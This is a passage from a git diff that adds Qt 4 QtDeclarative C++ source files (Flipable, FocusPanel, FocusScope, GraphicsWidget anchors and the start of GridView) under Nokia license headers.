+ d->setBackTransform();
+}
+
+/*!
+ \qmlproperty enumeration Flipable::side
+
+ The side of the Flipable currently visible. Possible values are \c
+ Flipable.Front and \c Flipable.Back.
+*/
+QDeclarativeFlipable::Side QDeclarativeFlipable::side() const
+{
+ Q_D(const QDeclarativeFlipable);
+ if (d->dirtySceneTransform)
+ const_cast<QDeclarativeFlipablePrivate *>(d)->ensureSceneTransform();
+
+ return d->current;
+}
+
+// determination on the currently visible side of the flipable
+// has to be done on the complete scene transform to give
+// correct results.
+void QDeclarativeFlipablePrivate::updateSceneTransformFromParent()
+{
+ Q_Q(QDeclarativeFlipable);
+
+ QDeclarativeItemPrivate::updateSceneTransformFromParent();
+ QPointF p1(0, 0);
+ QPointF p2(1, 0);
+ QPointF p3(1, 1);
+
+ QPointF scenep1 = sceneTransform.map(p1);
+ QPointF scenep2 = sceneTransform.map(p2);
+ QPointF scenep3 = sceneTransform.map(p3);
+ p1 = q->mapToParent(p1);
+ p2 = q->mapToParent(p2);
+ p3 = q->mapToParent(p3);
+
+ qreal cross = (scenep1.x() - scenep2.x()) * (scenep3.y() - scenep2.y()) -
+ (scenep1.y() - scenep2.y()) * (scenep3.x() - scenep2.x());
+
+ wantBackYFlipped = p1.x() >= p2.x();
+ wantBackXFlipped = p2.y() >= p3.y();
+
+ QDeclarativeFlipable::Side newSide;
+ if (cross > 0) {
+ newSide = QDeclarativeFlipable::Back;
+ } else {
+ newSide = QDeclarativeFlipable::Front;
+ }
+
+ if (newSide != current) {
+ current = newSide;
+ if (current == QDeclarativeFlipable::Back && back)
+ setBackTransform();
+ if (front)
+ front->setOpacity((current==QDeclarativeFlipable::Front)?qreal(1.):qreal(0.));
+ if (back)
+ back->setOpacity((current==QDeclarativeFlipable::Back)?qreal(1.):qreal(0.));
+ emit q->sideChanged();
+ }
+}
+
+/* Depends on the width/height of the back item, and so needs reevaulating
+ if those change.
+*/
+void QDeclarativeFlipablePrivate::setBackTransform()
+{
+ QTransform mat;
+ QGraphicsItemPrivate *dBack = QGraphicsItemPrivate::get(back);
+ mat.translate(dBack->width()/2,dBack->height()/2);
+ if (dBack->width() && wantBackYFlipped)
+ mat.rotate(180, Qt::YAxis);
+ if (dBack->height() && wantBackXFlipped)
+ mat.rotate(180, Qt::XAxis);
+ mat.translate(-dBack->width()/2,-dBack->height()/2);
+ back->setTransform(mat);
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativeflipable_p.h b/src/declarative/graphicsitems/qdeclarativeflipable_p.h
new file mode 100644
index 00000000..f74cf8fc
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeflipable_p.h
@@ -0,0 +1,100 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEFLIPABLE_H
+#define QDECLARATIVEFLIPABLE_H
+
+#include "qdeclarativeitem.h"
+
+#include <QtCore/QObject>
+#include <QtGui/QTransform>
+#include <QtGui/qvector3d.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeFlipablePrivate;
+class Q_AUTOTEST_EXPORT QDeclarativeFlipable : public QDeclarativeItem
+{
+ Q_OBJECT
+
+ Q_ENUMS(Side)
+ Q_PROPERTY(QGraphicsObject *front READ front WRITE setFront NOTIFY frontChanged)
+ Q_PROPERTY(QGraphicsObject *back READ back WRITE setBack NOTIFY backChanged)
+ Q_PROPERTY(Side side READ side NOTIFY sideChanged)
+ //### flipAxis
+ //### flipRotation
+public:
+ QDeclarativeFlipable(QDeclarativeItem *parent=0);
+ ~QDeclarativeFlipable();
+
+ QGraphicsObject *front();
+ void setFront(QGraphicsObject *);
+
+ QGraphicsObject *back();
+ void setBack(QGraphicsObject *);
+
+ enum Side { Front, Back };
+ Side side() const;
+
+Q_SIGNALS:
+ void frontChanged();
+ void backChanged();
+ void sideChanged();
+
+private Q_SLOTS:
+ void retransformBack();
+
+private:
+ Q_DISABLE_COPY(QDeclarativeFlipable)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeFlipable)
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeFlipable)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEFLIPABLE_H
diff --git a/src/declarative/graphicsitems/qdeclarativefocuspanel.cpp b/src/declarative/graphicsitems/qdeclarativefocuspanel.cpp
new file mode 100644
index 00000000..489ee901
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativefocuspanel.cpp
@@ -0,0 +1,89 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativefocuspanel_p.h"
+
+#include "private/qdeclarativeitem_p.h"
+
+#include <QtGui/qgraphicsscene.h>
+#include <QEvent>
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \qmlclass FocusPanel QDeclarativeFocusPanel
+ \since 4.7
+ \ingroup qml-basic-interaction-elements
+
+ \brief The FocusPanel item explicitly creates a focus panel.
+ \inherits Item
+
+ Focus panels assist in keyboard focus handling when building QML
+ applications. All the details are covered in the
+ \l {qmlfocus}{keyboard focus documentation}.
+*/
+
+QDeclarativeFocusPanel::QDeclarativeFocusPanel(QDeclarativeItem *parent) :
+ QDeclarativeItem(parent)
+{
+ Q_D(QDeclarativeItem);
+ d->flags |= QGraphicsItem::ItemIsPanel;
+}
+
+QDeclarativeFocusPanel::~QDeclarativeFocusPanel()
+{
+}
+
+/*!
+ \qmlproperty bool FocusPanel::active
+
+ Sets whether the item is the active focus panel.
+*/
+
+bool QDeclarativeFocusPanel::sceneEvent(QEvent *event)
+{
+ if (event->type() == QEvent::WindowActivate ||
+ event->type() == QEvent::WindowDeactivate)
+ emit activeChanged();
+ return QDeclarativeItem::sceneEvent(event);
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativefocuspanel_p.h b/src/declarative/graphicsitems/qdeclarativefocuspanel_p.h
new file mode 100644
index 00000000..b7d1e773
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativefocuspanel_p.h
@@ -0,0 +1,78 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEFOCUSPANEL_H
+#define QDECLARATIVEFOCUSPANEL_H
+
+#include "qdeclarativeitem.h"
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class Q_AUTOTEST_EXPORT QDeclarativeFocusPanel : public QDeclarativeItem
+{
+ Q_OBJECT
+ Q_PROPERTY(bool active READ isActive WRITE setActive NOTIFY activeChanged)
+public:
+ QDeclarativeFocusPanel(QDeclarativeItem *parent=0);
+ virtual ~QDeclarativeFocusPanel();
+
+Q_SIGNALS:
+ void activeChanged();
+
+protected:
+ bool sceneEvent(QEvent *event);
+
+private:
+ Q_DISABLE_COPY(QDeclarativeFocusPanel)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeItem)
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeFocusPanel)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEFOCUSPANEL_H
diff --git a/src/declarative/graphicsitems/qdeclarativefocusscope.cpp b/src/declarative/graphicsitems/qdeclarativefocusscope.cpp
new file mode 100644
index 00000000..d76a27f7
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativefocusscope.cpp
@@ -0,0 +1,73 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativefocusscope_p.h"
+
+#include "private/qdeclarativeitem_p.h"
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \qmlclass FocusScope QDeclarativeFocusScope
+ \since 4.7
+ \ingroup qml-basic-interaction-elements
+
+ \brief The FocusScope object explicitly creates a focus scope.
+ \inherits Item
+
+ Focus scopes assist in keyboard focus handling when building reusable QML
+ components. All the details are covered in the
+ \l {qmlfocus}{keyboard focus documentation}.
+
+ \sa {declarative/keyinteraction/focus}{Keyboard focus example}
+*/
+
+QDeclarativeFocusScope::QDeclarativeFocusScope(QDeclarativeItem *parent) :
+ QDeclarativeItem(parent)
+{
+ Q_D(QDeclarativeItem);
+ d->flags |= QGraphicsItem::ItemIsFocusScope;
+}
+
+QDeclarativeFocusScope::~QDeclarativeFocusScope()
+{
+}
+QT_END_NAMESPACE
diff --git a/src/declarative/graphicsitems/qdeclarativefocusscope_p.h b/src/declarative/graphicsitems/qdeclarativefocusscope_p.h
new file mode 100644
index 00000000..5ddcc2ed
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativefocusscope_p.h
@@ -0,0 +1,69 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEFOCUSSCOPE_H
+#define QDECLARATIVEFOCUSSCOPE_H
+
+#include "qdeclarativeitem.h"
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+//### set component root as focusscope
+class Q_AUTOTEST_EXPORT QDeclarativeFocusScope : public QDeclarativeItem
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeItem)
+public:
+ QDeclarativeFocusScope(QDeclarativeItem *parent=0);
+ virtual ~QDeclarativeFocusScope();
+};
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeFocusScope)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEFOCUSSCOPE_H
diff --git a/src/declarative/graphicsitems/qdeclarativegraphicswidget.cpp b/src/declarative/graphicsitems/qdeclarativegraphicswidget.cpp
new file mode 100644
index 00000000..43f131df
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativegraphicswidget.cpp
@@ -0,0 +1,125 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativegraphicswidget_p.h"
+#include "private/qdeclarativeanchors_p.h"
+#include "private/qdeclarativeitem_p.h"
+#include "private/qdeclarativeanchors_p_p.h"
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeGraphicsWidgetPrivate : public QObjectPrivate {
+ Q_DECLARE_PUBLIC(QDeclarativeGraphicsWidget)
+public :
+ QDeclarativeGraphicsWidgetPrivate() :
+ _anchors(0), _anchorLines(0)
+ {}
+ QDeclarativeItemPrivate::AnchorLines *anchorLines() const;
+ QDeclarativeAnchors *_anchors;
+ mutable QDeclarativeItemPrivate::AnchorLines *_anchorLines;
+};
+
+QDeclarativeGraphicsWidget::QDeclarativeGraphicsWidget(QObject *parent) :
+ QObject(*new QDeclarativeGraphicsWidgetPrivate, parent)
+{
+}
+QDeclarativeGraphicsWidget::~QDeclarativeGraphicsWidget()
+{
+ Q_D(QDeclarativeGraphicsWidget);
+ delete d->_anchorLines; d->_anchorLines = 0;
+ delete d->_anchors; d->_anchors = 0;
+}
+
+QDeclarativeAnchors *QDeclarativeGraphicsWidget::anchors()
+{
+ Q_D(QDeclarativeGraphicsWidget);
+ if (!d->_anchors)
+ d->_anchors = new QDeclarativeAnchors(static_cast<QGraphicsObject *>(parent()));
+ return d->_anchors;
+}
+
+QDeclarativeItemPrivate::AnchorLines *QDeclarativeGraphicsWidgetPrivate::anchorLines() const
+{
+ Q_Q(const QDeclarativeGraphicsWidget);
+ if (!_anchorLines)
+ _anchorLines = new QDeclarativeItemPrivate::AnchorLines(static_cast<QGraphicsObject *>(q->parent()));
+ return _anchorLines;
+}
+
+QDeclarativeAnchorLine QDeclarativeGraphicsWidget::left() const
+{
+ Q_D(const QDeclarativeGraphicsWidget);
+ return d->anchorLines()->left;
+}
+
+QDeclarativeAnchorLine QDeclarativeGraphicsWidget::right() const
+{
+ Q_D(const QDeclarativeGraphicsWidget);
+ return d->anchorLines()->right;
+}
+
+QDeclarativeAnchorLine QDeclarativeGraphicsWidget::horizontalCenter() const
+{
+ Q_D(const QDeclarativeGraphicsWidget);
+ return d->anchorLines()->hCenter;
+}
+
+QDeclarativeAnchorLine QDeclarativeGraphicsWidget::top() const
+{
+ Q_D(const QDeclarativeGraphicsWidget);
+ return d->anchorLines()->top;
+}
+
+QDeclarativeAnchorLine QDeclarativeGraphicsWidget::bottom() const
+{
+ Q_D(const QDeclarativeGraphicsWidget);
+ return d->anchorLines()->bottom;
+}
+
+QDeclarativeAnchorLine QDeclarativeGraphicsWidget::verticalCenter() const
+{
+ Q_D(const QDeclarativeGraphicsWidget);
+ return d->anchorLines()->vCenter;
+}
+
+QT_END_NAMESPACE
+
+#include <moc_qdeclarativegraphicswidget_p.cpp>
diff --git a/src/declarative/graphicsitems/qdeclarativegraphicswidget_p.h b/src/declarative/graphicsitems/qdeclarativegraphicswidget_p.h
new file mode 100644
index 00000000..93242aca
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativegraphicswidget_p.h
@@ -0,0 +1,90 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEGRAPHICSWIDGET_P_H
+#define QDECLARATIVEGRAPHICSWIDGET_P_H
+
+#include <QObject>
+#include <QtDeclarative/qdeclarativecomponent.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeAnchorLine;
+class QDeclarativeAnchors;
+class QGraphicsObject;
+class QDeclarativeGraphicsWidgetPrivate;
+
+// ### TODO can the extension object be the anchor directly? We save one allocation -> awesome.
+class QDeclarativeGraphicsWidget : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(QDeclarativeAnchors * anchors READ anchors DESIGNABLE false CONSTANT FINAL)
+ Q_PROPERTY(QDeclarativeAnchorLine left READ left CONSTANT FINAL)
+ Q_PROPERTY(QDeclarativeAnchorLine right READ right CONSTANT FINAL)
+ Q_PROPERTY(QDeclarativeAnchorLine horizontalCenter READ horizontalCenter CONSTANT FINAL)
+ Q_PROPERTY(QDeclarativeAnchorLine top READ top CONSTANT FINAL)
+ Q_PROPERTY(QDeclarativeAnchorLine bottom READ bottom CONSTANT FINAL)
+ Q_PROPERTY(QDeclarativeAnchorLine verticalCenter READ verticalCenter CONSTANT FINAL)
+ // ### TODO : QGraphicsWidget don't have a baseline concept yet.
+ //Q_PROPERTY(QDeclarativeAnchorLine baseline READ baseline CONSTANT FINAL)
+public:
+ QDeclarativeGraphicsWidget(QObject *parent = 0);
+ ~QDeclarativeGraphicsWidget();
+ QDeclarativeAnchors *anchors();
+ QDeclarativeAnchorLine left() const;
+ QDeclarativeAnchorLine right() const;
+ QDeclarativeAnchorLine horizontalCenter() const;
+ QDeclarativeAnchorLine top() const;
+ QDeclarativeAnchorLine bottom() const;
+ QDeclarativeAnchorLine verticalCenter() const;
+ Q_DISABLE_COPY(QDeclarativeGraphicsWidget)
+ Q_DECLARE_PRIVATE(QDeclarativeGraphicsWidget)
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEGRAPHICSWIDGET_P_H
diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp
new file mode 100644
index 00000000..1d9348c7
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp
@@ -0,0 +1,3172 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativegridview_p.h"
+
+#include "private/qdeclarativevisualitemmodel_p.h"
+#include "private/qdeclarativeflickable_p_p.h"
+
+#include "private/qdeclarativesmoothedanimation_p_p.h"
+#include <qdeclarativeguard_p.h>
+
+#include <qlistmodelinterface_p.h>
+#include <QKeyEvent>
+
+#include <qmath.h>
+#include <math.h>
+#include "qplatformdefs.h"
+
+QT_BEGIN_NAMESPACE
+
+#ifndef QML_FLICK_SNAPONETHRESHOLD
+#define QML_FLICK_SNAPONETHRESHOLD 30
+#endif
+
+//----------------------------------------------------------------------------
+
+class FxGridItem
+{
+public:
+ FxGridItem(QDeclarativeItem *i, QDeclarativeGridView *v) : item(i), view(v) {
+ attached = static_cast<QDeclarativeGridViewAttached*>(qmlAttachedPropertiesObject<QDeclarativeGridView>(item));
+ if (attached)
+ attached->setView(view);
+ }
+ ~FxGridItem() {}
+
+ qreal rowPos() const {
+ qreal rowPos = 0;
+ if (view->flow() == QDeclarativeGridView::LeftToRight) {
+ rowPos = item->y();
+ } else {
+ if (view->effectiveLayoutDirection() == Qt::RightToLeft)
+ rowPos = -view->cellWidth()-item->x();
+ else
+ rowPos = item->x();
+ }
+ return rowPos;
+ }
+ qreal colPos() const {
+ qreal colPos = 0;
+ if (view->flow() == QDeclarativeGridView::LeftToRight) {
+ if (view->effectiveLayoutDirection() == Qt::RightToLeft) {
+ int colSize = view->cellWidth();
+ int columns = view->width()/colSize;
+ colPos = colSize * (columns-1) - item->x();
+ } else {
+ colPos = item->x();
+ }
+ } else {
+ colPos = item->y();
+ }
+
+ return colPos;
+ }
+
+ qreal endRowPos() const {
+ if (view->flow() == QDeclarativeGridView::LeftToRight) {
+ return item->y() + view->cellHeight() - 1;
+ } else {
+ if (view->effectiveLayoutDirection() == Qt::RightToLeft)
+ return -item->x() - 1;
+ else
+ return item->x() + view->cellWidth() - 1;
+ }
+ }
+ void setPosition(qreal col, qreal row) {
+ if (view->effectiveLayoutDirection() == Qt::RightToLeft) {
+ if (view->flow() == QDeclarativeGridView::LeftToRight) {
+ int columns = view->width()/view->cellWidth();
+ item->setPos(QPointF((view->cellWidth() * (columns-1) - col), row));
+ } else {
+ item->setPos(QPointF(-view->cellWidth()-row, col));
+ }
+ } else {
+ if (view->flow() == QDeclarativeGridView::LeftToRight)
+ item->setPos(QPointF(col, row));
+ else
+ item->setPos(QPointF(row, col));
+ }
+
+ }
+ bool contains(qreal x, qreal y) const {
+ return (x >= item->x() && x < item->x() + view->cellWidth() &&
+ y >= item->y() && y < item->y() + view->cellHeight());
+ }
+
+ QDeclarativeItem *item;
+ QDeclarativeGridView *view;
+ QDeclarativeGridViewAttached *attached;
+ int index;
+};
+
+//----------------------------------------------------------------------------
+
+class QDeclarativeGridViewPrivate : public QDeclarativeFlickablePrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeGridView)
+
+public:
+ QDeclarativeGridViewPrivate()
+ : currentItem(0), layoutDirection(Qt::LeftToRight), flow(QDeclarativeGridView::LeftToRight)
+ , visibleIndex(0) , currentIndex(-1)
+ , cellWidth(100), cellHeight(100), columns(1), requestedIndex(-1), itemCount(0)
+ , highlightRangeStart(0), highlightRangeEnd(0)
+ , highlightRangeStartValid(false), highlightRangeEndValid(false)
+ , highlightRange(QDeclarativeGridView::NoHighlightRange)
+ , highlightComponent(0), highlight(0), trackedItem(0)
+ , moveReason(Other), buffer(0), highlightXAnimator(0), highlightYAnimator(0)
+ , highlightMoveDuration(150)
+ , footerComponent(0), footer(0), headerComponent(0), header(0)
+ , bufferMode(BufferBefore | BufferAfter), snapMode(QDeclarativeGridView::NoSnap)
+ , ownModel(false), wrap(false), autoHighlight(true)
+ , fixCurrentVisibility(false), lazyRelease(false), layoutScheduled(false)
+ , deferredRelease(false), haveHighlightRange(false), currentIndexCleared(false) {}
+
+ void init();
+ void clear();
+ FxGridItem *createItem(int modelIndex);
+ void releaseItem(FxGridItem *item);
+ void refill(qreal from, qreal to, bool doBuffer=false);
+
+ void updateGrid();
+ void scheduleLayout();
+ void layout();
+ void updateUnrequestedIndexes();
+ void updateUnrequestedPositions();
+ void updateTrackedItem();
+ void createHighlight();
+ void updateHighlight();
+ void updateCurrent(int modelIndex);
+ void updateHeader();
+ void updateFooter();
+ void fixupPosition();
+
+ FxGridItem *visibleItem(int modelIndex) const {
+ if (modelIndex >= visibleIndex && modelIndex < visibleIndex + visibleItems.count()) {
